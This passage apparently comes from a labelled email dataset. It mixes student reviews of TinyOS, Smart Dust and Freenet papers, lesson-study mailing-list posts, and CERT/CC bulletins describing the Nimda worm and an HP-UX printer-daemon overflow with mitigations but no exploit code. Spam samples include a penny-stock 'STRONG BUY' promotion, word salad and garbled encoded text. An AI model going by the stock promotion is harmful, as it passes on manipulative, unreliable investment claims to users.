communication. The event-driven nature of TinyOS could be used to conserve energy. ",0,0 Venu Ramasubramanian ,Emin Gun Sirer ,"Tue, 13 Nov 2001 11:53:01 -0500",cs615 PAPER 42,"Tiny Networked Sensors: Motes, Sensor Dust, and TinyOS Small networked devices with sensing capability are going to widely deployed and used in future. This project highlights one of the most important characteristics of such devices - their variability. Sensors could come in all shapes and sizes: for example, motes (few cubic millimeters), Ninjas (few cubic inches) etc. Sensors also have wide variation of capacities in terms of networking harware, processor limitations, power consumption. There are further constaints from the kind of enviroments they are deployed in for example: forest fire, sea bed, building, etc. that affects the mobility, bandwidth availability and power availability. The TinyOS project concerns itself mainly with handling sensors with RF radios and 8-bit processor deployed in a static setting. The presence of a processor and other devices demands an operating system and the embedded nature of the CPU necessitates an OS that is effecient in terms of space, time and power consumption. TinyOS is an operating system that conforms to these requirements. TinyOS presents two classes of execution - tasks and events. Tasks are like processes that have state, stack and computation associated with them and deployed by a scheduler. Events are asynchronously generated signals that can pre-empt tasks. Device interfaces as well as software components modeled to have state, tasks and signals associated with them. This kind of component based interface allows the OS to be ported to different kinds of hardware by changing just a few components. One of the drawbacks of this system is the compile time binding of interfaces that prevents on-line addition of applications and necessitates compilation and reloading upon changes in components. In the absence of a wall outlets most of the sensor devices would be expected to depend on battery power. Thus power forms a significant constraint and communication hardware often tends to consume a most of the power. It is interesting to see to interesting designs to tackle this problem and prevent excessive power consumption. Motes reflect laser light creating light flashes that can be interpreted as bits. While the throughput of this scheme may not be very high, it does end up using practicaly little power to communicate. However line-of sight limitations and the need for a nearby laser source might limit the use of this technique. Bit level modulation can however also end up conserving a lot of power as the transmission power depends on packet size. Using 1 bit messages for periodic beacons allows this network to funciton for long periods of time. Such modifications to hardware might prove quite beneficial in the long run. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Tue, 13 Nov 2001 12:02:50 -0500",615 PAPER 42," Tiny OS: Tiny OS is a very small event-driven operating system for use in embedded sensor networks. It is not really all that interesting. A fairly trivial application of standard embedded system O/S design. I am really unsure of any useful insight from this, other than that it is a viable building block. Smart Dust: This on the other hand, is a fairly novel idea and I am impressed at their ambitious goals in tackling the hardware integration problem inherent in very time sensor devices. Similar integration problems are being investigated in Cornell's ECE695 course this semester. They have a ways to go, however, to acheive the size that they are seeking. ",0,0 Daehyun Kim ,egs@CS.Cornell.EDU,"Tue, 13 Nov 2001 12:24:48 -0500",615 PAPER 42,"TinyOS and Smart Dust are the system architecture for sensor networks. The technology advance such as MEMS, low-power communication devices enables the micro-level wireless sensor networks. However, each network element has still lots of limitations such as battery, communication bandwidth, memory and computation power. These two projects try to provide efficient architecture to overcome the limitations. In my opinion, the main problem of the micro-sensor networks is that they don't have good practical applications yet. Their micro-level size implies critical resource limitations, so provides good research topics. But, on the contrary, it can be the main obstacle that prevents these techniques from being used practically. And, in my opinion, it is still very hard to overcome those limitations with the techniques proposed here. ",0,0 jcb35@cornell.edu,egs@CS.Cornell.EDU,"Tue, 13 Nov 2001 12:39:11 -0500",615 PAPER 42,"Both of these projects at Berkeley deal with the design of wireless communication systems for distrbuting data over sensor networks. They focus on the design of small electronic systems that strive for longevity and functionality. Smartdust strives to show that a complete sensor network can be integrated into a cubic millimeter package. Each one of the ""dusts"" can communicate on some kind of wireless plane, whether it be using rf frequencies or other laser pointer devices. Using a laser device, the team was able to communicate over a 21km area (that had line of sight). The TinyOS group is an event based operating environment that supports threads and event driven state machines. They use a form of active messages to communicate between the nodes and establish a tree based on some sort of ""base station"" node. I thought they had some interesting applications, such as the standard sensor network to detect vehicles, which was cool because it was deployed by an unmanned air-vehicle. I also thought that the ""keyboard glove"" was an interesting application for a sensor network. The batter life for the sensors ranged from 72 hours (if it listened all the time) on up, depending on the amount of time they spent actually listening. I would be curious to see more traffic patterns and how they could be distributed so as to lengthen the longevity of the system. I would also be interested in seeing applications of the motes in sensor networks dealing with heterogeneous communication mediums. ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Tue, 13 Nov 2001 13:35:41 -0500",615 PAPER 42," 42) Sensors: Mote, TinyOS, Smart Dust Sensor networks are expected to be widely deployed in the future, owing to its low cost and small size. Some of the current sensors can sense acceleration, magnetic field, temperature, pressure, humidity, light and rf signal strength. The limiting features of sensor networks are the limited amount of power, computation, storage and bandwidth that they possess. This calls for really efficient designs that conserves the battery power and cost while keeping the size of the sensor small. Further the sensors are intended to be largely unattended and should be robust with narrow interfaces. TinyOS looks at this problem from the software point of view, whereas Smart Dust tries to optimize the hardware of the sensor. TinyOS is a lightweight multithreaded operating system for wireless sensor environments. They provide a high degree of concurrency to keep the data flowing and reduce the requirements for data buffers. TinyOS component model propagates hardware abstractions into software and allows for migrations of software component into hardware. The event based nature of TinyOS enables efficient use of the energy resources. One of the nodes is designated as the base station and all the rest of the nodes propagate data to this node. The use of Active messages, which is essentially a remote procedure call without the overhead of the system call, is an very interesting idea used by TinyOS to reduce energy consumption. Smart Dust are designed to be small sensors which can be spread in an area randomly and can monitor the area for long periods of time. Thus a key feature of the Smart Dust is the conservation of energy. The nodes are designed to have a very low duty cycle, waking up periodically to gather information and communicate with other nodes before going back to sleep again. They use an optical communication scheme, using reflectors to communicate with other nodes. ",0,0 dfpekxgl xlaxxt ,"ken@uclink4.berkeley.edu, kasey@uclink4.berkeley.edu","Wed, 14 Nov 2001 13:19:23 +0100",In motion for NEW PICK friday it isday [R E P O R T NEW PICK friday it is] Calvary alcohol,"Infinex Ventures Inc. (INFX) Current Price: 0.79 The Rally has begun Watch this one like a hawk, this report is sent because the potential is incredible H U G E N E W S read below S T R O N G B U Y COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. 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If you are interested in finding more about this program, please log on http://studyabroad.msu/programs/japanteach.html If you have questions after perusing this brochure information, feel free to contact me at kazukot@msu.edu . Kazuko Thornton --------------------------------- Do You Yahoo!? Find the one for you at Yahoo! Personals. --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 Cheryl Rectanus ,Lesson Study Listserv ,"Fri, 16 Nov 2001 10:41:20 -0800",Re: corrected link to Japan lesson study opportunity,"The link provided does not work as written. In order to link to the site, you must add "".edu"" after ""msu"" . This should work: http://studyabroad.msu.edu/programs/japanteach.html From: Kazuko Thornton Reply-To: Kazuko Thornton Date: Fri, 16 Nov 2001 10:10:49 -0800 (PST) To: ""Lesson Study Listserv"" Subject: Opportunity to learn about lesson study in Japan ""The Craft of Teaching and Learning in Japan"" is a Michigan State University summer program which focuses on how lesson study is practiced in various schools in Japan. If you are interested in finding more about this program, please log on http://studyabroad.msu/programs/japanteach.html If you have questions after perusing this brochure information, feel free to contact me at kazukot@msu.edu . Kazuko Thornton Do You Yahoo!? Find the one for you at Yahoo! Personals . --- You are currently subscribed to lessonstudy as: crectanus@pps.k12.or.us To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu",0,1 Kazuko Thornton ,Lesson Study Listserv ,"Fri, 16 Nov 2001 11:24:25 -0800",Web connection to the MSU program,"I've been told that some had difficulty in accessing the weblink I provided. Here is another way. Log on first http://studyabroad.msu.edu. Then enter Japan in the search box. Click the weblink address listed under the first entry, ""The Craft of Teaching....."" --------------------------------- Do You Yahoo!? Find the one for you at Yahoo! Personals. --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 Margaret Riel ,Lesson Study Listserv ,"Fri, 16 Nov 2001 15:26:22 -0800",Lesson Study Example,"Hello all, This is just to let know about our School Renewal WebCenter's ****** Feature Strategy on Lesson Study ******* ""http://www.schoolrenewal.org/feature/lesson_study/"" We hope you enjoy this look at how the teachers at The Preuss School in La Jolla, CA are implementing Lesson Study. Margaret Riel -- /_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ Margaret Riel, Ph.D. Pepperdine University and Univ. of CA, Irvine New: School Renewal WebCenter http://www.schoolrenewal.org Phone: 760 943-1314 Fax 760 708 6401 x1410 Web Office: http://gsep.pepperdine.edu/~mriel --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 Suzette Canfield ,egs@cs.cornell.edu,"Fri, 16 Nov 2001 14:39:19 -0500",revilatizes your hair/nail growth,"see transite but dater a coneflower some neptune it's godlike ",1,0 """UnseenForum.com"" ",egs@cs.cornell.edu,"Sun, 18 Nov 2001 06:31:53 -0000",��������ѡ�ٵ� Game Theory �Դ����������ҡ��õ�Ҵ ��� 2,¡Ã³ÕÃÒÂÅÐàÍÕ´´éÒ¹ÅèÒ§äÁèáÊ´§ ÊÒÁÒö´ÙÃÒÂÅÐàÍÕ´ä´é·Õè http://www.registerseminar.com/theory.htm unsubscript please reply to info@registerseminar.com ¢ÍÍÀÑÂÍÂèÒ§ÊÙ§ËÒ¡ÍÕàÁÅì¹Õéà»ç¹¡ÒÃú¡Ç¹·èÒ¹ ¡ÃØ³Ò reply ÍÕàÁÅìÁÒ·Õè info@registerseminar.com à¾×èÍ·Ò§àÃÒ¨ÐäÁèÊè§Ãº¡Ç¹·èҹ㹤ÃÑ駵èÍä»,1,1 c.tavoularis@utoronto.ca,egs@CS.Cornell.EDU,"Mon, 19 Nov 2001 12:53:21 -0500",615 PAPER 60,"This paper proposes the Freenet network application to store files and allow users to access files privately and completely unaware of physical location. Freenet behaves as an adaptive peer-to-peer system that uses a network of identical nodes for storage and routing to avoid central points of failure or attack. Freenet dynamically creates replicas of files near the requestors and removes files in areas where they are no longer needed. Freenet operates as a peer-to-peer system where nodes request a file store or retrieve service to their immediate neighbors using a location-independent naming key. Requests are forwarded hop-by-hop similar to IP routing and have a limited hops-to-live as well as a unique random id number to avoid loops in routing. Each node has a data store to which it must allow network access, as well as a dynamic routing table with keys associated with node addresses. File keys are generated using hash functions. Each file has a random public/private key pair to serve as a namespace called a signed-subspace key (SSK) and a keyword-signed key (KSK) generated by short descriptive text. A user will publish his descriptive string and subspace public key, which maintaining his private key so no one can add files to his subspace. A content-hash key is useful for updating and splitting of files since the old version of the file remains temporarily available while a new version is been added to the system. There is more than one solution proposed to search for keys, including insertion of indirect files by users with pointers to the real files, and publicizing of public key compilations by users. Once the file key is known, a user will ask its node to retrieve the file. This node will check it’s own data store, and use its routing table to forward the request to a neighboring node if it does not have a copy of the file. Requests propagate as a steepest-ascent hill-climbing search with backtracking until the file is found or the request times out. A similar search is performed to insert new files. Similar keys are located and success is returned if the hops-to-live is reached without any collisions. Essentially, a trend is supposed to form where nodes become experts on similar keys located on the same node, and caching brings copies of files closer to the requestor. When the system starts running out of storage, the least recently used files are replaced. Security in the system is achieved by enforcing anonymous requestors and senders, as well employing a cryptographic protocol to add new nodes to the system. Freenet provides redundancy, privacy and robustness to central points of failure. Freenet’s performance converges over time to reduce path length request. It would perform less impressively if a file is frequently being updated such that large amounts of overhead is created, and cached data will easily become stale as well as the information in routing tables. In this case, the fact that there are mirrored copies closer to the requestor is irrelevant and the search mechanism becomes inefficient. Also, it is not clear what happens if a user specifically wants to remove his file. ",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Mon, 19 Nov 2001 17:52:33 -0500",615 Paper # 60,"Freenet: A Distributed Anonymous Information Storage and Retrieval System Ian Clark, Oskar Sandberg, Brandon Wiley, and Theodore W. Hong This paper presents Freenet, an adaptive peer-to-peer network application that permits the publication, replication, and retrieval of datawithout compromising the anonymity of both the authors and readers of information. The Freenet project bears in mind five design objectives: 1)Anonymity for both producers and clients of infomration 2)Deniability for storers of information 3)Resistance to attempts by third parties to deny access to information 4)Efficient dynamic storage and routing of information 5)Decentralization of all network functions. The idea of Freenet was conceived in response to the threats of on-line theft, attack, and evesdropping of information. In a Freenet architecure, requests for keys are passed from node to node through a chain of proxy requests in which each node makes a local decision as to where to send the request next. The routing algorithms for storing and retrieving data are designed to adaptively adjust routes over time to provide efficient performance while using only local knowledge. The operations of Freenet can be broken down to several functions, including keys and searching, data retrieval, data storage, data management, and node addition. Keys and searching allows the user to identify intended data by binary file keys obtained by applying the SHA-1 hashing hunction; data retrieval is regulated by hops-to-live constraint and the loop-avoidance condition. It may also have the potential benefits of allowing the node hoding the requested data to be more experienced in handling incoming requests if these requests are of similar key. Data storage refers to a node posting and advertising new information under the hops-to-live constraint. Data management does not keep permanent copies of data files, but instead flushs out the least recently used files in order to make room for the new addition of files. Also for a variety of reasons, the node operator does not have to explicitly know the content of their datastores. Node addition is achieved by a new node announcing its presence to its neighboring nodes. In so doing, a cryptographic protocol is employed to allow existing nodes to be consistent with each other in deciding which keys to send to the new node. The performance of Freenet is evaluated in four aspects: network convergence, scalability, fault tolerance, and security. Freenet is able to achieve quick network convergence within a shor period of time while maintaining a suitable number of imtermediate hops for a path after convergence. The network scales rather well for the median and third quartile in that as the network size grows, the request pathlength remains relatively constant over a large network expansion. The authors of the paper also show that a Freenet architecture is able to sustain an acceptable fault tolerance even when up to 30% of nodes have failed in the network. Finally in dealing with the issue of security, the authors claim that although the basic Freenet does not offer much of protection against malicious users of various forms, when coupled with pre-routing, Freenet is successful in protecting sender anonymity and key anonymity beyond suspicion. However, judging from the Table 1 presented in the paper, I do not share this claim, as its shows the basic Freent is only able to hide, beyond suspicion, the sender anonymity from a group of collaborating nodes, and all three other scenarios (sender and key anonymity with a local eavesdropper and key anonymity with collaborating nodes) show the identities of the sender and receiver of data easily fall prey to the attackers. ",0,0 André Allavena ,egs@CS.Cornell.EDU,"Tue, 20 Nov 2001 00:26:10 +0100",615 PAPER 60,"Freenet - A peer-to-peer network daemon with anonymity Debian abstract: Freenet is a peer-to-peer network designed to allow the distribution of information over the Internet in an efficient manner, without fear of censorship. Freenet is completely decentralized, meaning that there is no person, computer, or organisation in control of Freenet or essential to its operation. This means that Freenet cannot be attacked like centralized peer-to-peer systems such as Napster. Freenet also employs intelligent routing and caching meaning that it learns to route requests more efficiently, automatically mirrors popular data, makes network flooding almost impossible, and moves data to where it is in greatest demand. All of this makes it much more efficient and scalable than systems such as Gnutella. For more info see http://www.freenetproject.org/ It is the first time I see a paper written by people from so many different (and so far away) places. Freenet made it to Debian's woddy and I presume to other Linux distribution, which means it is a sucess. I didn't test it though. I think it is a very good system. Privacy is so weak now, this is defending it. I think Freenet has the potential to be spread out on a large scale. It consumes more bandwith and more storage place than conventional storage systems, but storage is not an issue anymore, and bandwith not often, and should not be one for long. This raises of course the issue of software piracy and underage porngraphy, because it makes it much more difficult to track down. The fact that there is a TTL value make the system weaker in some sense: given a set of presumable stored files by a node, requesting them with a TTL of 1 allows with a high probability to say if this nodes stores a susbsantial subset of this files. But do we care? My question is: can such an attack be made with a TTL of say 4? One could envisage to change the TTL counter to a time based value, and either assume that processing time is random, or add a random delay of the order of magnitude of the processing delay. -- André Allavena (local) 154 A Valentine Place École Centrale Paris (France) Ithaca NY 14850 USA Cornell University (NY) (permanent) 879 Route de Beausoleil PhD in Computer Science 06320 La Turbie FRANCE ",0,1 Pat Schweihofer ,smc90@columbia.edu,"Tue, 20 Nov 2001 06:56:58 -0500",Re: lesson study groups,"Hello, My name is Pat Schweihofer and I am going to be facilitating Lesson Study for the Lake Shore District. We have been planning and putting a plan together . If anyone has a format that works would you please send me the information. My e-mail address is pschweihofer@lsps.org. I am very thankful for any help that I may receive. >>> ""Sonal M. Chokshi"" 11/19/01 08:04PM >>> Dear Lesson Study Community, As some of you might know, we currently maintain a database of lesson study groups on our lesson study website (www.tc.columbia.edu/lessonstudy). We would like this list to be as comprehensive as possible, so that it can be a valuable resource for the lesson study community. If you are part of, or know of, a lesson study group that is not listed on our website, we would greatly appreciate it if you would let us know about this group. Instructions for how to do this are available on our website at: http://www.tc.columbia.edu/lessonstudy/lsgroups.html . Thank you! Lesson Study Research Group --- You are currently subscribed to lessonstudy as: pschweihofer@lsps.org To unsubscribe send a blank email to leave-lessonstudy-340063R@listserv.tc.columbia.edu",0,1 Daehyun Kim ,egs@CS.Cornell.EDU,"Tue, 20 Nov 2001 11:12:42 -0500",615 PAPER 60,"This paper proposes a distributed information storage and retrieval system called Freenet. Freenet is distributed - there is no broadcast and no centralized location index and files are location independent. And Freenet is anonymous - it is impossible to discover the true origin and destination of files passing through the network. Freenet is implemented as an adaptive peer-to-peer network of nodes that query on another to store and retrieve data files. Each node maintains its own local datastore and dynamic routing table. A requests for data file (location independent key) is passed along from node to node through a chain of proxy requests in which each node makes a local routing decision. Each request is given hops-to-live (similar to TTL) to prevent infinite chain and pseudo-unique random identifier to prevent loop. A request is routed throu the network until it is either satisfied or exceeds its hops-to-live limit. Then the success or failure results is passed back to the sender. Files are identified by file keys obtained by applying a hash function. There are three types of file keys, keyword-signed key (KSK), signed-subspace key (SSK) and content-hash key (CHK). For the file searching purpose, indirect files are used. To retrieve a file, user sends a request specifying the file key and a hop-to-live. Then the message is routed through the networks and finally the results is returned to the user. For the security concern, any node along the route can change the data source of the reply message. To insert a file, user also sends a request. First the file key is searched in the same way as retrieval. If there already exists the same file key, it is returned for the user to try a different key. Otherwise, a success message is returned and the user send the data for nodes to insert a new entry. For the finite storage capacity, Freenet uses LRU. If the storage runs short, the least recently used files are evicted in order until there is room. A node joins the network by sending a announcement message with a random key. When a already joined node receives it, the node generates another random key, XORs it with the key received and propagates the announcement. This procedure repeats until hops-to-live runs out. Freenet protocol is packet-oriented and uses self-contained messages. Each messages contain a transaction ID, a hops-to-live and a depth. In my opinion, Freenet has a high potential. It seems scalable and robust. Most of all, its security feature might be getting more important in the future network environments. But, there are several points I couldn't understand. First, how to guarantee that a useful file may not deleted. As far as I understand, it is possible for a file to be deleted from all the nodes. Seconde, how to guarantee the consistency between two files with the same key. If a node tries to insert a key and another node out of hops-to-live limit has the same key, it seems to me possible that two node can have different files with the same key. ",0,0 Venu Ramasubramanian ,Emin Gun Sirer ,"Tue, 20 Nov 2001 11:48:21 -0500",cs615 PAPER 60,"FREENET: A Distributed Anonymous Information Storage and Retrieval System. This paper presents an architecture for a robust and anonymous completely distributed information storage and retrieval system. This is a peer-peer system that distributes data throughout the internet on nodes willing to participate. The features that make this system very interesting are sender and receiver anonymity, failure robustness, absence of any centralization and ability to scale. Data (file) in this system is identified by means of a key that is a hash of the data name. An asymmetric key pair is generated from this name that serves to authenticate the data. The data is further encypted by key that is obtained by hasing the contents. While the data creators can easily compute the data, it is a mystery how a node in need of data would be able to obtain the keys for the corresponding data. It is also further required that the requestor obtain the key without exposing itself to the world and also without knowing the sender. Although there is a proposal in the paper on how to do this, they do not elaborate this further and hence does not seem to be a part of their system. The routing protocol however, looks real neat. More data is distributed in the network as more and more requests keep getting generated. The idea of caching data of similar keys close together greatly eases the overhead on the routing protocol. Making the data inserts in a way identical to data requests is cute and effective. The requests are tagged with a TTL field and the protocol depends on the obscurity of this field to prevent sender and receiver anonymity. However it appears that a long term analysis of network activity around a requestor might raise suspicions. The routing protocol also does not attempt to balance the load across intermediate nodes. On the whole, this is a very interesting idea. Lot's of people would be pleased with sender and receiver anonymity. ",0,0 """Virantha N. Ekanayake"" ",egs@CS.Cornell.EDU,"Tue, 20 Nov 2001 11:57:00 -0500",615 Paper 60,"Freenet is a peer-to-peer network application that provides anonymity to data sharing. Data is distributed and dynamically replicated depending on demand. Each file is identified by a key which is generated by hashing its descriptive name, another key for the file's personal namespace, and a content key based on hashing the entire file's content. The files cluster based on the similarity of the generated hash. Naturally, this precludes any type of semantic clustering, possibly obviating any type of locality in data references. Then again, it also makes the system more distributed, because related data won't be clustered around a single point of failure. The node specialization could be a drawback -- it sort of contradicts the authors argument that all nodes are equal; it's more of a constitutional ""all nodes are created equal"" and after that they become more diverse. A very specialized node dropping out could result in a lot of aimless network behavior until the routing tables get updated. I also wonder how one can do meta-data searches, since files are only identified by hashes based on the name. It seems you would need some sort of centralized directory of plaintext names of files in order to know what exactly is available on the network. ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Tue, 20 Nov 2001 13:42:43 -0500",615 PAPER 60," Freenet: A Distributed Anonymous Information Storage and Retrieval System The paper presents an adaptive peer-to-peer system that enables the storage and retrieval of data while maintaining the anonymity of readers and authors. The system does not any central point of failure and provides privacy to the users of the system. Other design goals of Freenet deniability for storers of information, resistance to third denial of access, efficient storage and routing and decentralization of all network functions. It is assumed that most of the nodes will run nodes, offering datastore space to the network. Each node in Freenet maintains its own local datastore on which the network is permitted to read and write. The nodes also maintain a dynamic routing table containing the addresses of other nodes and the keys that they are known to hold. Requests for keys are passed along from node to node through a chain of proxy requests in which each node makes a local decision about where to send the request next, depending on which node's key is found to be lexicographically close to the data request at hand. Files are identified by binary has keys obtained by applying a hash function. Three different types of file keys are used. The Keyword-Signed Key (KSK) is derived from a short descriptive text chosen by the user. The Signed-Subspace Key (SSK) enables personal name-spaces by randomly generating a private/public key pair that identifies the name-space of the user. The third key is the Content-Hash Key (CHK) which is derived by hashing the actual contents of the corresponding file. A request to retrieve data operates as a steepest-ascent hill-climbing search with backtracking, along with a hops-to-live limit. This has the problem of being inefficient and slow to start. The actual path taken by the request may be way off the minimum hop route, and may possibly cause congestion. However it is hypothesized that as time progresses, nodes become specialized in certain types of data, having good knowledge of data with *keys* similar to each other. Nodes can override large hops-to-live values and can forget about pending requests after a period of time. Node storage is managed as Least Recently Used (LRU) cache in which data items are kept sorted in decreasing order by time of most recent request. This has the disadvantage of a file being lost forever from the system if not used for a long time - there is no ""permanent"" copy of the file in Freenet. The performance analysis shows that the request path-length starts off really badly, but ultimately converges to better values. The system seems to have decent scalability and fault tolerance. Freenet provides sender anonymity beyond suspicion in the presence of collaborating nodes. Using pre-routing with Freenet also provides key anonymity beyond suspicion in the presence of a local eavesdropper. The idea of nodes getting specialized is pretty interesting as it makes routing more efficient. However, it also makes network vulnerable to failure of nodes with specialization in a particular kind in the sense that it can disrupt the routing for at least some time until new routing table entries are created. ",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 20 Nov 2001 14:20:43 -0500",CERT Summary CS-2001-04," -----BEGIN PGP SIGNED MESSAGE----- CERT Summary CS-2001-04 November 20, 2001 Each quarter, the CERT Coordination Center (CERT/CC) issues the CERT Summary to draw attention to the types of attacks reported to our incident response team, as well as other noteworthy incident and vulnerability information. The summary includes pointers to sources of information for dealing with the problems. Past CERT summaries are available from: CERT Summaries http://www.cert.org/summaries/ ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issued in August 2001 (CS-2001-03), we have seen a new worm known as ""Nimda,"" as well as active exploitation of a vulnerability in Microsft DNS servers. In addition, we have published a paper on denial of service trends, issued a new PGP key, and updated the UNIX Security Checklist. For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. CERT/CC Current Activity http://www.cert.org/current/current_activity.html 1. W32/Nimda Worm Over the past several months, we have received reports of malicious code known as the ""W32/Nimda Worm."" This worm can propogate itself via several methods, including email, network shares, or by visiting an infected web site. On September 18, the CERT/CC issued an advisory on Nimda. CERT Advisory CA-2001-26: Nimda Worm http://www.cert.org/advisories/CA-2001-26.html 2. Exploitation of Vulnerability in SSH1 CRC-32 Compensation Attack Detector The CERT/CC has received multiple reports of systems being compromised via the CRC-32 compensation attack detector vulnerability (VU#945216). On November 5, the CERT/CC released an incident note which describes system compromises via a vulnerability in the SSH1 (Secure Shell Protocol v1) CRC-32 attack detection code. Consequentially, we are also receiving reports of increased scanning activity for the SSH service (22/tcp). Incident Note IN 2001-12: Exploitation of vulnerability in SSH1 CRC-32 compensation attack detector http://www.cert.org/incident_notes/IN-2001-12.html Vulnerability Note #945216: SSH CRC32 attack detection code contains remote integer overflow http://www.kb.cert.org/vuls/id/945216 3. DNS Cache Poisoning in Microsoft DNS Servers The CERT/CC has received reports from sites experiencing cache corruption on systems running Microsoft DNS Server. We issued an incident note which describes this corruption and its impact on systems. The default configuration of this software allows data from malicious or incorrectly configured DNS servers to be cached by a Microsoft DNS server. This corruption can result in erroneous DNS information being returned to clients which use this server. Incident Note IN-2001-11: Cache Corruption on Microsoft DNS Servers http://www.cert.org/incident_notes/IN-2001-11.html Vulnerability Note #109475: Microsoft Windows NT and 2000 Domain Name Servers allow non-authoritative RRs to be cached by default http://www.kb.cert.org/vuls/id/109475 4. Trends In Denial Of Service Attack Technology This paper describes the current and possible future states of denial of service (DoS) technology. This document is in Adobe Acrobat format, and requires Acrobat Reader. Trends In Denial Of Service Attack Technology http://www.cert.org/archive/pdf/DoS_trends.pdf ______________________________________________________________________ UNIX Security Checklist Version 2.0 The CERT Coordination Center and the Australian Computer Emergency Response Team (AusCERT) have jointly published version 2.0 of the UNIX Security Checklist which details steps to improve the security of UNIX Operating Systems. We encourage system administrators to review all sections of this document and, if appropriate, modify their systems accordingly to fix potential weaknesses. AUSCERT UNIX Security Checklist http://www.cert.org/tech_tips/AUSCERT_checklist2.0.html ______________________________________________________________________ New CERT/CC PGP Key On October 1, the CERT/CC issued a new PGP key, which should be used when sending sensitive information to the CERT/CC. CERT/CC PGP Public Key https://www.cert.org/pgp/cert_pgp_key.asc Sending Sensitive Information To The CERT/CC http://www.cert.org/contact_cert/encryptmail.html ______________________________________________________________________ What's New and Updated Since the last CERT Summary, we have published new and updated * Advisories http://www.cert.org/advisories/ * Congressional Testimony http://www.cert.org/congressional_testimony/ * Incident Notes http://www.cert.org/incident_notes/ * CERT/CC Statistics http://www.cert.org/stats/cert_stats.html * Tech Tips http://www.cert.org/tech_tips/ * Training Schedule http:/www.cert.org/training/ * UNIX Security Checklist v2.0 http://www.cert.org/tech_tips/unix_security_checklist2.0.html ______________________________________________________________________ This document is available from: http://www.cert.org/summaries/CS-2001-04.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright �2001 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBO/qnUKCVPMXQI2HJAQFqJwP9Fdg7Z6LrdCAGgshO9zPojFjt/yV95bk8 dzt+RfWC/4sSuFipx1Db6c3UvBUwIMqW+JaryT21haHLWRatkgWGw/89hTsBfY5J iEgPc+sRagEJ/w6gOas5N2B+4uNApXU9Fj0S0IgfaLulIfixtkfJkKUAHVjFxqAk MRViE3BdE9A= =OX1Z -----END PGP SIGNATURE----- ",0,1 CERT Advisory ,cert-advisory@cert.org,"Wed, 21 Nov 2001 14:41:53 -0500",CERT Advisory CA-2001-32 Buffer Overflow in HP-UX Line Printer Daemon," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-32 Buffer Overflow in HP-UX Line Printer Daemon Original release date: November 21, 2001 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected HP9000 Servers running the following releases: * HP-UX Version 10.01 * HP-UX Version 10.10 * HP-UX Version 10.20 * HP-UX Version 11.00 * HP-UX Version 11.11 Overview The HP-UX line printer daemon (rlpdaemon) enables various clients to share printers over a network. A remotely exploitable buffer overflow vulnerability exists in the rlpdaemon. I. Description By sending a specially crafted print request to an HP-UX host running the rlpdaemon, a local or remote attacker can trigger the buffer overflow. Intruders may find this vulnerability attractive to exploit because the line printer daemon is enabled by default to provide printing services. Additionally, no previous knowledge of or access to the vulnerable system is required for exploitation. Internet Security Systems (ISS) and Hewlett-Packard Company have issued the following announcements, respectively: Remote Logic Flaw Vulnerability in HP-UX Line Printer Daemon Hewlett-Packard Company Security Bulletin #0176 This vulnerability has been assigned the identifier CAN-2001-0817 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0817 For the latest and most detailed information about this vulnerability, please see VU#638011. II. Impact An attacker can execute arbitrary code on the target system with the privileges of the line printer daemon, typically superuser. III. Solution Install a patch from HP. More information is available in Appendix A. Restrict access to the lpd service As a general practice, we recommend disabling all services that are not explicitly required. You may wish to disable the line printer daemon until a patch can be applied. If you cannot disable the service, you can limit your exposure to these vulnerabilities by using a router or firewall to restrict access to port 515/TCP (printer). Note that this does not protect you against attackers from within your network. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Hewlett-Packard Company Please see 